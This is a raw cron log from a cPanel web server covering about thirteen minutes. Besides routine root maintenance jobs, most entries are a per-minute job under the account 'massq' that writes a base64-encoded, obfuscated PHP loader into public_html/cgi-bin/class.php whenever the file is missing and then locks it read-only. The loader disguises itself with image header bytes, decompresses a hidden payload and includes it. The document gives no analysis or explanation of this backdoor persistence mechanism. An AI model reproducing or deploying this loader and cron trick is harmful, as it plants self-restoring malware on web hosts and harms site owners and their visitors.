Nov 11 16:22:01 server CROND[11319]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:23:01 server CROND[12086]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:24:01 server CROND[12963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:25:01 server CROND[13781]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:25:01 server CROND[13783]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:25:01 server CROND[13782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:25:01 server CROND[13784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:26:01 server CROND[14537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:27:01 server CROND[15367]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 16:27:01 server CROND[15368]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:28:01 server CROND[16191]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:29:01 server CROND[17021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:30:01 server CROND[17862]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 11 16:30:01 server CROND[17865]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:30:01 server CROND[17864]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 16:30:01 server CROND[17868]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:30:01 server CROND[17869]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:31:01 server CROND[18890]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:32:01 server CROND[19721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:33:01 server CROND[20532]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:34:01 server CROND[21370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 16:35:01 server CROND[22260]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 16:35:01 server CROND[22262]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 16:35:01 server CROND[22263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
